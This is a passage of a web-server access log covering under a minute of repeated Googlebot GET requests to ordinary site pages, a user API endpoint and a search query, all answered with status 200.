(+http://www.google.com/bot.html)" +Aug 22 10:03:58 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:58 ] "GET / HTTP/1.1" 200 5473 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:59 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:03:59 ] "GET /blog/latest-news HTTP/1.1" 200 11212 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:59 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:59 ] "GET /blog/latest-news HTTP/1.1" 200 11595 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:03:59 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:03:59 ] "GET /search?q=gemini HTTP/1.1" 200 11446 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:00 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:00 ] "GET /api/v1/user/42 HTTP/1.1" 200 9364 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:01 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:01 ] "GET /blog/latest-news HTTP/1.1" 200 13791 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:01 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:01 ] "GET /contact HTTP/1.1" 200 13758 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:01 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:01 ] "GET /blog/latest-news HTTP/1.1" 200 13820 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:01 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:01 ] "GET /search?q=gemini HTTP/1.1" 200 6021 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:02 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:02 ] "GET / HTTP/1.1" 200 14702 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:03 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:03 ] "GET /about HTTP/1.1" 200 8101 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:03 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:03 ] "GET /contact HTTP/1.1" 200 10530 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:03 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:03 ] "GET /contact HTTP/1.1" 200 10924 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:04 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:04 ] "GET /about HTTP/1.1" 200 9510 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:05 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:05 ] "GET /api/v1/user/42 HTTP/1.1" 200 10480 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:06 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:06 ] "GET / HTTP/1.1" 200 5216 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:06 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:06 ] "GET /contact HTTP/1.1" 200 7724 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:06 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:06 ] "GET /products/123 HTTP/1.1" 200 6635 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:06 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:06 ] "GET /api/v1/user/42 HTTP/1.1" 200 9560 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:07 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:07 ] "GET /about HTTP/1.1" 200 8633 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:07 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:07 ] "GET /api/v1/user/42 HTTP/1.1" 200 8691 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:08 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:08 ] "GET /blog/latest-news HTTP/1.1" 200 12299 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:08 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:08 ] "GET /products/123 HTTP/1.1" 200 9654 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:08 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:08 ] "GET /api/v1/user/42 HTTP/1.1" 200 6434 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:09 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:09 ] "GET / HTTP/1.1" 200 9830 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:09 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:09 ] "GET /api/v1/user/42 HTTP/1.1" 200 9648 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:09 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:09 ] "GET /api/v1/user/42 HTTP/1.1" 200 13230 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:09 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:09 ] "GET /contact HTTP/1.1" 200 8616 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:10 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:10 ] "GET / HTTP/1.1" 200 12579 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:11 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:11 ] "GET /blog/latest-news HTTP/1.1" 200 13906 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:11 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:11 ] "GET / HTTP/1.1" 200 12812 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:11 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:11 ] "GET / HTTP/1.1" 200 5762 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:11 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:11 ] "GET /about HTTP/1.1" 200 7536 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:12 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:12 ] "GET /api/v1/user/42 HTTP/1.1" 200 11207 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:13 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:13 ] "GET /api/v1/user/42 HTTP/1.1" 200 5887 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:13 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:13 ] "GET / HTTP/1.1" 200 8985 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:13 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:13 ] "GET /contact HTTP/1.1" 200 14480 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:13 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:13 ] "GET /api/v1/user/42 HTTP/1.1" 200 7073 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:13 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:13 ] "GET /contact HTTP/1.1" 200 5483 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:14 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:14 ] "GET /api/v1/user/42 HTTP/1.1" 200 13172 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:15 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:15 ] "GET /products/123 HTTP/1.1" 200 8311 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:15 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:15 ] "GET /contact HTTP/1.1" 200 8317 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:16 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:16 ] "GET / HTTP/1.1" 200 6749 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:16 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:16 ] "GET /api/v1/user/42 HTTP/1.1" 200 12640 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:16 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:16 ] "GET /contact HTTP/1.1" 200 6865 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:16 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:16 ] "GET /contact HTTP/1.1" 200 7777 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:16 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:16 ] "GET /search?q=gemini HTTP/1.1" 200 10485 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:17 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:17 ] "GET /about HTTP/1.1" 200 8443 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:18 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:18 ] "GET /products/123 HTTP/1.1" 200 12373 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:18 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:18 ] "GET /contact HTTP/1.1" 200 11903 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:19 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:19 ] "GET /api/v1/user/42 HTTP/1.1" 200 12275 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:19 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:19 ] "GET /products/123 HTTP/1.1" 200 6629 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:19 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:19 ] "GET /blog/latest-news HTTP/1.1" 200 10882 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:19 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:19 ] "GET /blog/latest-news HTTP/1.1" 200 11567 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:20 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:20 ] "GET / HTTP/1.1" 200 13231 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:20 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:20 ] "GET /about HTTP/1.1" 200 10359 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:20 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:20 ] "GET /about HTTP/1.1" 200 11512 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:20 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:20 ] "GET /contact HTTP/1.1" 200 9702 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:20 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:20 ] "GET / HTTP/1.1" 200 12143 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:20 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:20 ] "GET /contact HTTP/1.1" 200 12798 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:21 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:21 ] "GET /blog/latest-news HTTP/1.1" 200 13600 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:21 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:21 ] "GET /contact HTTP/1.1" 200 11051 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:22 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:22 ] "GET /api/v1/user/42 HTTP/1.1" 200 10416 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:22 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:22 ] "GET /products/123 HTTP/1.1" 200 7058 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:23 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:23 ] "GET / HTTP/1.1" 200 10113 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:23 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:23 ] "GET / HTTP/1.1" 200 12199 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:23 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:23 ] "GET / HTTP/1.1" 200 9186 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:23 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:23 ] "GET /blog/latest-news HTTP/1.1" 200 7539 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:23 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:23 ] "GET /contact HTTP/1.1" 200 6449 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:24 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:24 ] "GET /search?q=gemini HTTP/1.1" 200 11921 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:24 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:24 ] "GET /search?q=gemini HTTP/1.1" 200 12675 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:25 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:25 ] "GET /search?q=gemini HTTP/1.1" 200 9453 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:25 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:25 ] "GET /blog/latest-news HTTP/1.1" 200 7087 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:25 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:25 ] "GET /search?q=gemini HTTP/1.1" 200 7690 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:26 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:26 ] "GET /products/123 HTTP/1.1" 200 11612 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:26 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:26 ] "GET /search?q=gemini HTTP/1.1" 200 10143 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:26 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:26 ] "GET /about HTTP/1.1" 200 6179 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:26 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:26 ] "GET /search?q=gemini HTTP/1.1" 200 8487 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:27 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:27 ] "GET /contact HTTP/1.1" 200 14301 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:27 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:27 ] "GET / HTTP/1.1" 200 11962 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:27 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:27 ] "GET / HTTP/1.1" 200 6439 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:28 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:28 ] "GET /products/123 HTTP/1.1" 200 7473 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:28 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:28 ] "GET /blog/latest-news HTTP/1.1" 200 14813 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:30 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:30 ] "GET /products/123 HTTP/1.1" 200 5641 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:30 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:30 ] "GET /products/123 HTTP/1.1" 200 9153 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:30 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:30 ] "GET /contact HTTP/1.1" 200 12098 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:30 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:30 ] "GET /about HTTP/1.1" 200 5372 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:30 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:30 ] "GET /products/123 HTTP/1.1" 200 8857 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:31 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:31 ] "GET /about HTTP/1.1" 200 11270 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:31 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:31 ] "GET /about HTTP/1.1" 200 6218 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:31 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:31 ] "GET /contact HTTP/1.1" 200 14583 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:31 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:31 ] "GET /products/123 HTTP/1.1" 200 13469 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:32 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:32 ] "GET /products/123 HTTP/1.1" 200 6110 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:32 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:32 ] "GET /products/123 HTTP/1.1" 200 13983 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:32 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:32 ] "GET /products/123 HTTP/1.1" 200 14193 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:33 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:33 ] "GET /contact HTTP/1.1" 200 5138 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:33 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:33 ] "GET / HTTP/1.1" 200 5887 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:34 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:34 ] "GET /about HTTP/1.1" 200 7983 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:34 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:34 ] "GET /contact HTTP/1.1" 200 9959 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:34 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:34 ] "GET /about HTTP/1.1" 200 7681 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:34 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:34 ] "GET /about HTTP/1.1" 200 6822 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:35 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:35 ] "GET / HTTP/1.1" 200 8587 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:35 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:35 ] "GET /blog/latest-news HTTP/1.1" 200 10979 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:35 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:35 ] "GET /blog/latest-news HTTP/1.1" 200 6880 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:35 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:35 ] "GET /search?q=gemini HTTP/1.1" 200 6155 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:36 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:36 ] "GET /search?q=gemini HTTP/1.1" 200 13598 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:36 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:36 ] "GET /search?q=gemini HTTP/1.1" 200 7831 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:36 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:36 ] "GET /products/123 HTTP/1.1" 200 10449 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:36 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:36 ] "GET / HTTP/1.1" 200 14693 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:36 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:36 ] "GET / HTTP/1.1" 200 5807 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:37 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:37 ] "GET /search?q=gemini HTTP/1.1" 200 5858 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:37 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:37 ] "GET /search?q=gemini HTTP/1.1" 200 13484 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:38 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:38 ] "GET /products/123 HTTP/1.1" 200 11659 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:39 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:39 ] "GET /blog/latest-news HTTP/1.1" 200 8451 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:39 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:39 ] "GET /api/v1/user/42 HTTP/1.1" 200 5038 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:39 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:39 ] "GET /products/123 HTTP/1.1" 200 13146 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:40 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:40 ] "GET /search?q=gemini HTTP/1.1" 200 6833 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:41 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:41 ] "GET /about HTTP/1.1" 200 12054 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:41 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:41 ] "GET /search?q=gemini HTTP/1.1" 200 10126 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:42 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:42 ] "GET /api/v1/user/42 HTTP/1.1" 200 6495 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:42 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:42 ] "GET /contact HTTP/1.1" 200 13743 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:42 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:42 ] "GET /products/123 HTTP/1.1" 200 13689 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:42 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:42 ] "GET /products/123 HTTP/1.1" 200 13791 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:42 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:42 ] "GET / HTTP/1.1" 200 12215 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:42 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:42 ] "GET /about HTTP/1.1" 200 7599 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:43 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:43 ] "GET /products/123 HTTP/1.1" 200 11247 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:44 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:44 ] "GET / HTTP/1.1" 200 11330 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:44 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:44 ] "GET / HTTP/1.1" 200 14991 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:44 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:44 ] "GET /api/v1/user/42 HTTP/1.1" 200 10177 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:44 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:44 ] "GET / HTTP/1.1" 200 9682 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:44 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:44 ] "GET /blog/latest-news HTTP/1.1" 200 12177 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:44 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:44 ] "GET /blog/latest-news HTTP/1.1" 200 9241 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:45 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:45 ] "GET /api/v1/user/42 HTTP/1.1" 200 12356 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:45 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:45 ] "GET /api/v1/user/42 HTTP/1.1" 200 5310 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:45 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:45 ] "GET /products/123 HTTP/1.1" 200 5798 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:45 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:45 ] "GET /contact HTTP/1.1" 200 12631 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:46 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:46 ] "GET / HTTP/1.1" 200 11626 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:46 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:46 ] "GET / HTTP/1.1" 200 13960 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:46 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:46 ] "GET /about HTTP/1.1" 200 7973 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:46 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:46 ] "GET /about HTTP/1.1" 200 12447 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:47 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:47 ] "GET /about HTTP/1.1" 200 13859 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:47 web-app[2233]: 66.249.75.123 - - [22/Aug/2025:10:04:47 ] "GET / HTTP/1.1" 200 9678 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:48 web-app[2233]: 66.249.66.1 - - [22/Aug/2025:10:04:48 ] "GET /products/123 HTTP/1.1" 200 7971 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:48 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:48 ] "GET /products/123 HTTP/1.1" 200 5322 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:48 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:48 ] "GET /search?q=gemini HTTP/1.1" 200 6044 "-" "Googlebot/2.1 (+http://www.google.com/bot.html)" +Aug 22 10:04:48 web-app[2233]: 66.249.66.5 - - [22/Aug/2025:10:04:48 ] "GET 